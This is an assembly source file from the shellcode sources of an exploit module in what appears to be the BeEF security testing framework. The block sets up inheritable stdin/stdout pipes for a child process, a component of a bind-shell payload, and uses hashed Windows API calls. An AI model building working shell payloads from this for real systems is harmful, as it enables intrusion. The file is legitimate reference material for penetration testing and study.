Path: blob/master/modules/exploits/beefbind/shellcode_sources/windows/src/block_pipes.asm
1154 views
;-----------------------------------------------------------------------------;1; Author: Ty Miller @ Threat Intelligence2; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT43; Version: 1.0 (2nd December 2011)4;-----------------------------------------------------------------------------;5[BITS 32]67; Input: EBP is api_call8; Output:9; esp+00 child stdin read file descriptor (inherited)10; esp+04 child stdin write file descriptor (not inherited)11; esp+08 child stdout read file descriptor (not inherited)12; esp+12 child stdout write file descriptor (inherited)13; esp+16 lpPipeAttributes structure (not used after block - 12 bytes)14; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes1516push 1 ; create lpPipeAtrributes structure on stack so pipe handles are inherited17push 018push 0x0C1920create_pipe_stdout:21push 0 ; allocate space on stack for child stdout file descriptor22mov ebx, esp ; save location of where the child stdout Write file descriptor will be23push 0 ; allocate space on stack for child stdout file descriptor24mov ecx, esp ; save location of where the child stdout Read file descriptor will be2526push 0 ; nSize27lea edi,[esp+12] ; lpPipeAttributes - inherited28push edi29push ebx ; stdout write file descriptor30push ecx ; stdout read file descriptor31push 0x0EAFCF3E ; hash ( "kernel.dll", "CreatePipe" )32call ebp ; CreatePipe( Read, Write, 0, 0 )3334create_pipe_stdin:35push 0 ; allocate space on stack for child stdout file descriptor36mov ebx, esp ; save location of where the child stdout Write file descriptor will be37push 0 ; allocate space on stack for child stdout file descriptor38mov ecx, esp ; save location of where the child stdout Read file descriptor will be3940push 0 ; nSize41lea edi,[esp+20] ; lpPipeAttributes - inherited42push edi43push ebx ; stdout write file descriptor44push ecx ; stdout read file descriptor45push 0x0EAFCF3E ; hash ( "kernel.dll", "CreatePipe" )46call ebp ; CreatePipe( Read, Write, 0, 0 )4748no_inherit_read_handle: ; ensure read and write handles to child proc pipes for are not inherited49mov ebx,[esp+8]50push 051push 152push ebx ; hChildStdoutRd is the address we set in the CreatePipe call53push 0x1CD313CA ; hash(kernel32.dll, SetHandleInformation)54call ebp ; SetHandleInformation5556no_inherit_write_handle:57mov ebx,[esp+4]58push 059push 160push ebx ; hChildStdinRw is the address we set in the CreatePipe call61push 0x1CD313CA ; hash(kernel32.dll, SetHandleInformation)62call ebp ; SetHandleInformation63646566